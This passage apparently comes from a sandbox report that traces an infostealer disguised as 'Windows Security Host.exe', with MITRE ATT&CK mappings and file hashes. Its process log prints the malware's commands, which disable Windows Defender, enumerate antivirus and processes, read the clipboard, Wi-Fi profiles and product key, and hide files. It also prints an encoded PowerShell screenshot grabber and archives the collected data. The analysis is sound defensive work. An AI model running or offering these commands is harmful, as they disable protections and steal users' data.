  - - C:\Users\Admin\AppData\Local\Windows Security Host.exe
      "C:\Users\Admin\AppData\Local\Windows Security Host.exe"
      4⤵
      Executes dropped EXE
      PID:2528
    - - C:\Users\Admin\AppData\Local\Windows Security Host.exe
        
        "C:\Users\Admin\AppData\Local\Windows Security Host.exe"
        5⤵
        Drops file in Drivers directory
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2460
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Windows Security Host.exe'"
        6⤵
        
        PID:4892
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Windows Security Host.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:724
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        6⤵
        
        PID:3896
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4336
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        6⤵
        
        PID:4532
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        7⤵
        Enumerates processes with tasklist
        
        PID:5020
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        6⤵
        
        PID:2984
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        7⤵
        
        PID:4728
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
        6⤵
        
        PID:344
        
        C:\Windows\system32\reg.exe
        
        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
        7⤵
        
        PID:4652
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
        6⤵
        
        PID:2760
        
        C:\Windows\system32\reg.exe
        
        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
        7⤵
        
        PID:996
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        6⤵
        
        PID:1732
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        7⤵
        Detects videocard installed
        
        PID:4524
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        6⤵
        
        PID:4012
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        7⤵
        Detects videocard installed
        
        PID:3432
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏  .scr'"
        6⤵
        
        PID:2516
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏  .scr'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4760
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        6⤵
        
        PID:4808
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        7⤵
        Enumerates processes with tasklist
        
        PID:1600
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        6⤵
        
        PID:2572
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        7⤵
        Enumerates processes with tasklist
        
        PID:8
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
        6⤵
        
        PID:2300
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
        7⤵
        
        PID:4140
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        6⤵
        Clipboard Data
        
        PID:2112
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-Clipboard
        7⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        
        PID:1968
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        6⤵
        
        PID:3192
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:2760
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        7⤵
        Enumerates processes with tasklist
        
        PID:3608
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        6⤵
        
        PID:4716
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        7⤵
        
        PID:3208
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
        6⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:3884
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profile
        7⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:1636
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "systeminfo"
        6⤵
        
        PID:3268
        
        C:\Windows\system32\systeminfo.exe
        
        systeminfo
        7⤵
        Gathers system information
        
        PID:3780
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
        6⤵
        
        PID:1932
        
        C:\Windows\system32\reg.exe
        
        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
        7⤵
        
        PID:1260
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
        6⤵
        
        PID:1144
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3804
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bgminnrt\bgminnrt.cmdline"
        8⤵
        
        PID:4524
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES819.tmp" "c:\Users\Admin\AppData\Local\Temp\bgminnrt\CSC4B7248F28ABD4AF48DEE996852E15274.TMP"
        9⤵
        
        PID:1344
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        6⤵
        
        PID:2992
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        7⤵
        
        PID:1732
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
        6⤵
        
        PID:4864
        
        C:\Windows\system32\attrib.exe
        
        attrib -r C:\Windows\System32\drivers\etc\hosts
        7⤵
        Drops file in Drivers directory
        Views/modifies file attributes
        
        PID:1540
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
        6⤵
        
        PID:4004
        
        C:\Windows\system32\attrib.exe
        
        attrib +r C:\Windows\System32\drivers\etc\hosts
        7⤵
        Drops file in Drivers directory
        Views/modifies file attributes
        
        PID:1308
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        6⤵
        
        PID:1008
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        7⤵
        
        PID:468
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        6⤵
        
        PID:2568
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        7⤵
        Enumerates processes with tasklist
        
        PID:1436
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        6⤵
        
        PID:464
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:4140
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        7⤵
        
        PID:2816
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        6⤵
        
        PID:3964
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        7⤵
        
        PID:3324
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        6⤵
        
        PID:4504
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        7⤵
        
        PID:4468
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "getmac"
        6⤵
        
        PID:3964
        
        C:\Windows\system32\getmac.exe
        
        getmac
        7⤵
        
        PID:1344
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI25282\rar.exe a -r -hp"L8" "C:\Users\Admin\AppData\Local\Temp\B3YLf.zip" *"
        6⤵
        
        PID:4504
        
        C:\Users\Admin\AppData\Local\Temp\_MEI25282\rar.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI25282\rar.exe a -r -hp"L8" "C:\Users\Admin\AppData\Local\Temp\B3YLf.zip" *
        7⤵
        Executes dropped EXE
        
        PID:3400
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic os get Caption"
        6⤵
        
        PID:4320
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic os get Caption
        7⤵
        
        PID:4832
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
        6⤵
        
        PID:2112
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:4012
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get totalphysicalmemory
        7⤵
        
        PID:3668
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        6⤵
        
        PID:212
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        7⤵
        
        PID:1472
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
        6⤵
        
        PID:1896
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1744
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        6⤵
        
        PID:1884
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        7⤵
        Detects videocard installed
        
        PID:4992
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
        6⤵
        
        PID:2616
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:1968
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1008
- - C:\Windows\system32\attrib.exe
    attrib +h "C:\Users\Admin\AppData\Local\Anon\8JhMtrrR.exe" /s /d
    3⤵
    - Views/modifies file attributes
    PID:212

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:344

C:\Users\Admin\Windows Security Wrapper.exe
"C:\Users\Admin\Windows Security Wrapper.exe"
1⤵
- Executes dropped EXE
PID:4996

C:\Users\Admin\Windows Security Wrapper.exe
"C:\Users\Admin\Windows Security Wrapper.exe"
1⤵
- Executes dropped EXE
PID:2384

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Anon\1.bat

Filesize
367B

MD5
b647cde5fcb45e3d90a63c1ccf905f61

SHA1
9f3c29623f594cc0c78ab2cb0cdb69596a4f4f13

SHA256
0882d2e5969b5ac49fd880464d3be77868fb802737958ee5ef1fe515ff76ce57

SHA512
d5fe5bc8d6dd5106baf47aad4cd135da382b1223964870b091b9510a6cc93785d801ca4eef6305a964d4d1c6b3f3f4b37644c1383883f25503d1245463775c4a

Download Submit
C:\Users\Admin\AppData\Local\Anon\2.bat

Filesize
221B

MD5
7598af92556f9e610a59bc9b277ca879

SHA1
2721319ae1df825ba260dfa62deaaaeebf5c5451

SHA256
9c032de8dd3d199789a7eb24dd9ca2132468b96a2d62d8939f6db1135bf6b187

SHA512
231fecccbf3e535679b64ed769367caa195506330faf5df7231509ae9f4913b4b5a04c35c0cb607270763ed4b9591ec07fb1bfd149e20c827e0d9210e3867825

Download Submit
